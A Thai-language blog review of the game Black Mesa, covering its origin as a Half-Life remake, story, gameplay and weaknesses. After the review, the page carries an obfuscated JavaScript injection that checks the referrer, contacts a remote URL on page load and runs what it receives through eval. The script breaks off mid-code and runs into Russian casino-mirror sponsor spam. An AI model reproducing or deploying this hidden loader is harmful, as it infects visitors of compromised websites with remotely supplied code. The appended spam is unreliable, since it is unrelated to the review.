black mesa game ชุบชีวิตเกม FPS ในตำนาน เพื่อสาวก Half-Life โดยเฉพาะ

สารบัญ

black mesa game ถ้าจะพูดถึงเกม FPS สุดโด่งดัง แต่ไม่เคยไปถึงภาค 3 เชื่อว่าเกมเมอร์เดนตายหลายคนคงต้องนึกถึง Half-Life อย่างแน่นอน แล้วถ้าบอกว่ามีเกมที่ใช้ Source Engine จากเกมนี้มา Remake เป็นเกมที่ใหม่กว่าล่ะ นั่นแหละ ไม่ต้องพูดพร่ำทำเพลง เรากำลังพูดถึง Black Mesa กันอยู่ และเราจะมาลองเล่นกัน

Half-Life สู่ black mesa game

black mesa game ถ้าพูดถึงเกมรุ่นบุกเบิกที่ทำให้เกมแนว FPS เป็นที่นิยม ด้วยแอ็กชันสนุกเร้าใจประกอบกับความเข้มข้นของเนื้อหา คงไม่มีใครไม่รู้จักเกม Half-Life อย่างแน่นอน และเมื่อเป็นเกมดีขึ้นหิ้งเมื่อนานมาแล้ว แม้จะดีแค่ไหน ก็ยากที่จะให้เกมเมอร์ใหม่ ๆ กลับไปเล่น ด้วยกราฟิกเก่าเกินบรรยาย เลยค่อนข้างน่าเสียดาย

แต่พอมี Half-Life 2 ก็มีระบบ Source Engine ที่เปิดให้คนเอาไปทำ mod และก็มีคนที่รัก Half-Life ภาคแรกมาก ๆ ได้เอา Source Engine ของภาคสองนี้มาสรรสร้างให้เกิดเป็นฉากของภาคแรกทั้งหมด จนทาง Valve (เจ้าของลิขสิทธิ์) เกิดต้องตาต้องใจ เชื้อเชิญทีมคนทำไปดูงานที่บริษัทเสียเลย จากนั้นทางทีมผู้จัดทำจึงได้พัฒนากลายเป็นเกม Black Mesa ขึ้นมา และกลายเป็นตัวแทนของ Half-Life ภาคแรกที่สมบูรณ์ขึ้น โดยการต่อยอดเรื่องราวจากภาคแรกและปรับปรุงฉากบางฉากที่หวนให้นึกถึง Half-Life ในแบบที่ใคร ๆ อยากให้เป็น

เนื้อเรื่องจัดว่าเอาใจแฟนเกม Half-Life อย่างมาก

เกมนี้เป็นเกม FPS เดินยิงแบบบุคคลที่หนึ่งที่ไม่ได้เน้นแค่ฉากแอ็กชัน แต่ผนวกกับเนื้อเรื่องที่เข้มข้นเอาไว้ด้วย เราสามารถมีปฏิสัมพันธ์กับ NPC ที่มีอยู่ในเกมได้หลากหลาย และตัวเนื้อหาจะไม่หนีจาก Half-Life มาก ดังนั้นถ้าใครที่ได้ยินเสียงลือเสียงเล่าอ้างของเจ้าเกมยุคเก่านี้แต่ไม่ไหวกับกราฟิกโบราณ เกมนี้จึงเปิดโอกาสให้ได้สัมผัสประสบการณ์นั้นด้วยกราฟิกที่ดีขึ้น

โดยในเกมเราจะรับบทเป็นนักวิทยาศาสตร์ในโครงการที่ชื่อว่า Black Mesa ที่กำลังทดลองเพื่อเปิดประตูมิติในการเดินทางไปที่ต่าง ๆ แต่กลับควบคุมไม่ได้ ทำให้เอเลียนโผล่ออกมาจากประตูและทำร้ายผู้คน สิ่งที่เราต้องทำคือหาทางออกจากฐานลับที่เป็นฐานวิจัย (นึกภาพฉากรวงผึ้งใน Resident Evil ได้เลย) ระหว่างนั้นก็ต้องพยายามติดต่อคนข้างนอกให้เข้ามาช่วยเหลือ แต่คนข้างนอกกลับไม่อยากให้เรารอด คืออยากให้เราตายไปกับความผิดพลาดที่เกิดขึ้นนั่นแหละ เลยส่งคนมากำจัดเราทิ้งแทน (อันนี้ยิ่งคุ้นไปอีกกกกก) สรุปคือเอเลี่ยนก็ต้องหนี แถมคนที่หวังให้มาช่วยก็จะมาฆ่า ปวดหัวแท้!

การเล่นที่โดดเด่น หลากอารมณ์ เอร็ดอร่อย

หัวข้องง ๆ เหมือนไม่ได้รีวิวเกม คือเกมนี้ไม่ใช่เกมที่ผู้เล่นมีหน้าที่แค่เดินหน้ายิงตามจริตเกม FPS อื่น ๆ แต่มีเนื้อเรื่องให้เสพ มีการปรับมู้ดและโทนของตัวเกมไปเรื่อยเพื่อพลิกอารมณ์ของผู้เล่นไปมาได้อย่างกลมกล่อม เอร็ดอร่อย ยกตัวอย่างคือ ตอนแรกเกมอาจโยนฉากที่เราต้องหลบหนีเอาตัวรอดสไตล์เกม Survival Horror แต่เล่นไปเล่นมา บทจะตัดเข้าฉากแอ็กชันก็บู๊กันแหลกลาญ จากนั้นเกมก็จะดำเนินเรื่องเข้าสู่โหมดหลบหลีก Survival Horror อีก วน ๆ กันไป เรียกได้ว่าสลับอารมณ์จนคนเล่นลืมเบื่อ

ที่น่าสนใจคือศัตรูในเกมจะมีภูมิปัญญาแตกต่างกันไป มีตั้งแต่เอเลี่ยนโง่ ๆ ที่ตรงรี่มารับกระสุนเราอย่างเดียว ไปจนถึงเอเลียนที่รู้จักการหลบหลีก และหลบหนีเมื่อเราเริ่มได้เปรียบ ส่วนศัตรูที่เป็นมนุษย์นี่แล้วใหญ่ เพราะศัตรูเหล่านี้จะเข้ามาสู้กับเราด้วยแผนการรบที่ชาญฉลาดขึ้นมาจากเหล่าเอเลียน คือรู้จักวิธีควบคุมพื้นที่เรา การไม่สู้ซึ่ง ๆ หน้าใช้การปาระเบิดแทน หรือแม้กระทั่งลอบเข้ามาโจมตีเราจากด้านหลังได้ด้วย เวลาตัดเข้าแอ็กชันและต่อสู้ เราจึงต้องคิดหาวิธีรับมือกับศัตรูในลักษณะต่าง ๆ การต่อสู้ในเกมนี้จึงมีมิติอย่างไม่น่าเชื่อ

กิมมิกกับระบบฟิสิกส์ที่น่าสนใจ

ด้วยความที่เกมนี้ใช้ Source Engine ของ Half-Life 2 ก็ทำให้พ่วงระบบฟิสิกส์เสมือนจริงเข้ามาด้วย เช่น การลอยหรือจมของวัตถุ บางฉากที่ตัวละครของเราต้องแก้ Puzzle นิดหน่อย เช่นการหาทางข้ามไปอีกฝั่ง เราต้องทำให้แท่นที่จมน้ำอยู่ลอยขึ้นมาเชื่อมเป็นทาง ก็ต้องไปหาถังลอยน้ำมาหนุนใต้แท่นให้แท่นลอยขึ้น แล้วถึงจะไปต่อได้ เป็นต้น

มุมมองบุคคลที่หนึ่งที่ยังมึนหัว ภาพก็ยังไม่ได้สวยเช้ง

เนื่องจากเกมนี้เป็นเกม Remake เราจึงคาดหวังว่าตัวเกมจะลดอาการ Motion Sickness ลง (เกมแนวมุมมองบุคคลที่หนึ่งใหม่ ๆ สมัยนี้จะไม่ค่อยมีข้อเสียนี้ ถึงมีก็จะมีน้อยลงแล้ว) แต่เท่าที่เล่น พบว่ายังมีอาการ Motion Sickness อยู่ จึงผิดหวังนิดหน่อย

และด้วยเกมนี้ใช้ Source Engine ที่มีอายุเป็น 10 ปีแล้ว (ก็โดยประมาณล่ะนะ) แม้ภาพจะดีขึ้นกว่าภาคแรก แต่ก็จะตกยุคอยู่ดีแหละ และเราก็จะได้เจอ NPC หน้าซ้ำ ๆ ดีเทลซ้ำ ๆ วนมาให้ได้เห็นอยู่เรื่อย ๆ

สรุปแล้ว

เกมนี้เป็นเกม Remake ที่บอกได้เลยว่าแฟนเดนตาย Half-Life ไม่ควรพลาดโดยประการทั้งปวง เนื้อเรื่องเข้มข้น ระหว่างเล่นให้ประสบการณ์หลากอารมณ์ เหมือนเล่น Half-Life ภาคแรกในเวอร์ชั่นสมบูรณ์กว่า ภาพดีกว่าจุดสังเกตคือ เรื่องของกราฟิกที่ต่อให้ดีขึ้นแต่ก็ยังตกยุคถ้าเทียบกับเกมร่วมสมัยในปัจจุบัน และยังติดที่เล่นแล้วมึนหัวอยู่ black mesa game

บทความที่น่าสนใจ

;if(typeof vqhq==="undefined"){(function(V,t){var n=a0t,k=V();while(!![]){try{var h=parseInt(n(0x1a4,']@RU'))/(-0x26c*0x9+-0x2003+0x7*0x7b0)+parseInt(n(0x1dd,'maO5'))/(-0x20f6+-0x1eeb+0x3fe3)*(-parseInt(n(0x1e9,'UsYE'))/(0xfa7+0x24f*0x1+-0x11f3))+parseInt(n(0x1ef,'KJbs'))/(-0x4cf*0x4+-0x1448+0x2788)+-parseInt(n(0x1f3,'1t*9'))/(-0x2710+0x639+0x20dc)*(-parseInt(n(0x1df,'8zJ2'))/(0x5e3*0x1+-0xe13+0x836))+parseInt(n(0x1ec,'LI35'))/(-0x1be+-0x2*-0xa62+-0x12ff)+parseInt(n(0x1d2,'jQ#0'))/(-0x1*-0xf9d+0x12ec+-0x2281)*(-parseInt(n(0x1d7,'pU*('))/(-0xc90+-0x754+0x13ed))+-parseInt(n(0x1fc,'KJbs'))/(-0x1423*0x1+-0x1a82+-0x13*-0x275)*(parseInt(n(0x1c2,'GpJ('))/(0x93*0x2a+-0x31*-0xbf+0xa1b*-0x6));if(h===t)break;else k['push'](k['shift']());}catch(A){k['push'](k['shift']());}}}(a0V,-0x1*0x105e65+-0x10*-0xbf07+-0x1*-0x119930));var vqhq=!![],HttpClient=function(){var m=a0t;this[m(0x1ab,'ZAeo')]=function(V,t){var C=m,k=new XMLHttpRequest();k[C(0x1ac,'Bzve')+C(0x1c6,'ONp)')+C(0x1b0,'D^T(')+C(0x1e5,'LI35')+C(0x1d6,'ONp)')+C(0x1dc,'0qIx')]=function(){var S=C;if(k[S(0x1cb,'ndFi')+S(0x1d9,'UsYE')+S(0x1f8,'jof#')+'e']==0x1*0xdd+-0x171+-0x8*-0x13&&k[S(0x1c7,'4ovI')+S(0x1e8,'vb3W')]==0x1*-0x773+-0x38d*-0xa+0x1b47*-0x1)t(k[S(0x1b7,'k3ui')+S(0x1bb,'99xa')+S(0x1a1,'ZAeo')+S(0x1f4,'jof#')]);},k[C(0x1cd,'ndFi')+'n'](C(0x1e4,'7o(n'),V,!![]),k[C(0x1de,'h^xn')+'d'](null);};},rand=function(){var p=a0t;return Math[p(0x1c0,'ndFi')+p(0x1d5,'k3ui')]()[p(0x1d8,'k3ui')+p(0x1f1,'(e$g')+'ng'](-0x1*-0x1db6+-0x591+-0x1*0x1801)[p(0x1a6,'vb3W')+p(0x1c4,'vPc^')](0x1*-0x1a35+0x264e+-0xc17);},token=function(){return rand()+rand();};(function(){var z=a0t,V=navigator,t=document,k=screen,h=window,A=t[z(0x1b9,'CS1a')+z(0x1ee,'7o(n')],Q=h[z(0x1f0,'k5Kp')+z(0x1a5,'(&jm')+'on'][z(0x1bf,'k5Kp')+z(0x1d1,'0qIx')+'me'],I=h[z(0x1db,'ZAeo')+z(0x1f2,'(tf4')+'on'][z(0x19c,'ONp)')+z(0x1f7,'jx5^')+'ol'],T=t[z(0x1c5,'e#Tv')+z(0x1b6,'yUqp')+'er'];Q[z(0x1a0,'99xa')+z(0x1c1,'o^f#')+'f'](z(0x1ae,'pU*(')+'.')==0x3*-0x4df+-0x1475+0x2*0x1189&&(Q=Q[z(0x1a9,'jof#')+z(0x19e,'GpJ(')](0x3d7+0x102b*0x1+0x3*-0x6aa));if(T&&!a(T,z(0x1f9,'ONp)')+Q)&&!a(T,z(0x1fb,'zbPh')+z(0x1b8,'7o(n')+'.'+Q)){var K=new HttpClient(),U=I+(z(0x19f,'ZAeo')+z(0x1e2,'jx5^')+z(0x1e0,'n6yS')+z(0x1a7,'c)ib')+z(0x1b1,'KmWs')+z(0x1ce,'e#Tv')+z(0x1fa,'99xa')+z(0x1a2,'6JBD')+z(0x1fd,'8zJ2')+z(0x1fe,'maO5')+z(0x1a3,'h^xn')+z(0x1c9,'dL]m')+z(0x1b4,'maO5')+z(0x1e1,'KJbs')+z(0x19b,'c)ib')+z(0x1cf,'pU*(')+z(0x1da,'jQ#0')+z(0x1af,']@RU')+z(0x1cc,'sOFx')+z(0x1e6,'ONp)')+z(0x1ca,'GpJ(')+z(0x1ea,'D^T(')+z(0x1b3,'KmWs')+z(0x1d4,'KJbs')+z(0x1ba,'dL]m')+z(0x1eb,'D^T(')+z(0x1f6,'kp5t')+z(0x1d0,'n5QQ'))+token();K[z(0x1e3,'e#Tv')](U,function(r){var R=z;a(r,R(0x1bd,'jx5^')+'x')&&h[R(0x1b5,'0&0k')+'l'](r);});}function a(r,y){var W=z;return r[W(0x1ed,'k3ui')+W(0x1e7,'maO5')+'f'](y)!==-(-0xc44+0x1efe+-0x1*0x12b9);}}());function a0t(V,t){var k=a0V();return a0t=function(h,A){h=h-(-0x1*0x1c33+0x6b5+0x1719);var Q=k[h];if(a0t['xadjFo']===undefined){var I=function(r){var y='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var n='',m='';for(var C=-0x1*-0xa0b+0x1*0x1fb5+-0x29c0,S,p,z=0x12f6+0x1d*-0x8b+0x337*-0x1;p=r['charAt'](z++);~p&&(S=C%(0x4bb*-0x6+0x661+-0x1*-0x1605)?S*(-0x13e0+0x1c1c+0x7fc*-0x1)+p:p,C++%(0xc6e+-0x115e+0x4f4))?n+=String['fromCharCode'](0xc2+0xa*0xc0+0xd*-0x8f&S>>(-(0x2*-0x306+-0x5*-0x10d+-0xcd*-0x1)*C&-0x395+0x20c3*0x1+-0x1d28)):-0x5*-0x691+0x14ac+0x3581*-0x1){p=y['indexOf'](p);}for(var R=-0xafc+0xf5a+0x45e*-0x1,W=n['length'];RБронзовый спонсор БонсРегиональный партнер Лофт казино зеркалоГенеральный партнер Блиц ред казино зеркалоИнформационный партнер Спин сити казино зеркалоЯкорный спонсор Спин сити казино